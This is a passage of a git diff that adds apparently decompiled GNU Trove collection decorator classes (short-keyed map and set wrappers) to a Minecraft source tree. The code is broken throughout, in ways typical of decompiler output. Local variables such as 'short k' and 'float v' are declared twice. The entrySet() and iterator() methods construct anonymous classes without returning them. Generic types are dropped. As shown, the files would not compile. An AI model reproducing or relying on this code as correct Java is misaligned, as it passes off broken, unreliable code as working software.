+      public boolean addAll(Collection<? extends Map.Entry<Short, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Double> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortFloatMapDecorator.java
new file mode 100644
index 0000000..2d103f9
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortFloatIterator;
+import gnu.trove.map.TShortFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortFloatMapDecorator
+  extends AbstractMap<Short, Float>
+  implements Map<Short, Float>, Externalizable, Cloneable
+{
+  protected TShortFloatMap _map;
+  
+  public TShortFloatMapDecorator() {}
+  
+  public TShortFloatMapDecorator(TShortFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Short key, Float value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Float>> iterator()
+      {
+        new Iterator() {
+          private final TShortFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Float> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Float> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortIntMapDecorator.java
new file mode 100644
index 0000000..79799ca
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortIntIterator;
+import gnu.trove.map.TShortIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortIntMapDecorator
+  extends AbstractMap<Short, Integer>
+  implements Map<Short, Integer>, Externalizable, Cloneable
+{
+  protected TShortIntMap _map;
+  
+  public TShortIntMapDecorator() {}
+  
+  public TShortIntMapDecorator(TShortIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Short key, Integer value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TShortIntIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Integer> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Integer> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortLongMapDecorator.java
new file mode 100644
index 0000000..a265100
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortLongIterator;
+import gnu.trove.map.TShortLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortLongMapDecorator
+  extends AbstractMap<Short, Long>
+  implements Map<Short, Long>, Externalizable, Cloneable
+{
+  protected TShortLongMap _map;
+  
+  public TShortLongMapDecorator() {}
+  
+  public TShortLongMapDecorator(TShortLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Short key, Long value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Long>> iterator()
+      {
+        new Iterator() {
+          private final TShortLongIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Long> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Long> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortObjectMapDecorator.java
new file mode 100644
index 0000000..283392c
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortObjectIterator;
+import gnu.trove.map.TShortObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortObjectMapDecorator<V>
+  extends AbstractMap<Short, V>
+  implements Map<Short, V>, Externalizable, Cloneable
+{
+  protected TShortObjectMap<V> _map;
+  
+  public TShortObjectMapDecorator() {}
+  
+  public TShortObjectMapDecorator(TShortObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Short key, V value)
+  {
+    short k;
+    
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey((Short)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey((Short)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Short, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, V>> iterator()
+      {
+        new Iterator() {
+          private final TShortObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Short, V> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(((Short)key).shortValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends V> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Short key)
+  {
+    return key.shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TShortObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortSetDecorator.java b/src/minecraft/gnu/trove/decorator/TShortSetDecorator.java
new file mode 100644
index 0000000..5ef25f3
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortSetDecorator
+  extends AbstractSet<Short>
+  implements Set<Short>, Externalizable
+{
+  protected TShortSet _set;
+  
+  public TShortSetDecorator() {}
+  
+  public TShortSetDecorator(TShortSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TShortSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Short value)
+  {
+    return (value != null) && (_set.add(value.shortValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Short)) {
+          short v = ((Short)val).shortValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Short)) && (_set.remove(((Short)value).shortValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Short> iterator()
+  {
+    new Iterator() {
+      private final TShortIterator it = _set.iterator();
+      
+      public Short next() {
+        return Short.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TShortSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortShortMapDecorator.java
new file mode 100644
index 0000000..18cf1c8
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortShortIterator;
+import gnu.trove.map.TShortShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortShortMapDecorator
+  extends AbstractMap<Short, Short>
+  implements Map<Short, Short>, Externalizable, Cloneable
+{
+  protected TShortShortMap _map;
+  
+  public TShortShortMapDecorator() {}
+  
+  public TShortShortMapDecorator(TShortShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Short key, Short value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
